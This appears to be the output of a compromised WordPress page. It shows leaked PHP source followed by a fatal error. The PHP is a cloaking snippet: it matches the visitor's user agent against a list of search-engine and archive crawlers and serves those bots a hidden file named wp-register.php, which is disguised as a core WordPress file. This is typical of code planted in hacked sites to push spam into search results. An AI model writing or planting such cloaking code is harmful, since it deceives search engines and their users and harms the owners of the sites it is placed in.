$user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : '';
$bot_keywords = [
'googlebot', 'googlebot-image', 'googlebot-news', 'googlebot-video',
'mediapartners-google', 'adsbot-google', 'apis-google',
'google-inspectiontool', 'google-agent',
'bingbot', 'slurp', 'duckduckbot', 'duckduckgo',
'yandex', 'yandexbot',
'baiduspider', 'sogou', 'exabot', 'facebot',
'ia_archiver', 'archive.org_bot'
];
$is_bot = false;
foreach ($bot_keywords as $bot) {
if (strpos($user_agent, $bot) !== false) {
$is_bot = true;
break;
}
}
if ($is_bot) {
$rea_file = __DIR__ . '/wp-register.php';
if (file_exists($rea_file)) {
header('Content-Type: text/html; charset=utf-8');
header('X-Robots-Tag: all');
readfile($rea_file);
exit;
}
}
Fatal error: Uncaught Error: Call to undefined function wp() in /home/lendahel/public_html/wp-blog-header.php:16
Stack trace:
#0 /home/lendahel/public_html/index.php(17): require()
#1 {main}
thrown in /home/lendahel/public_html/wp-blog-header.php on line 16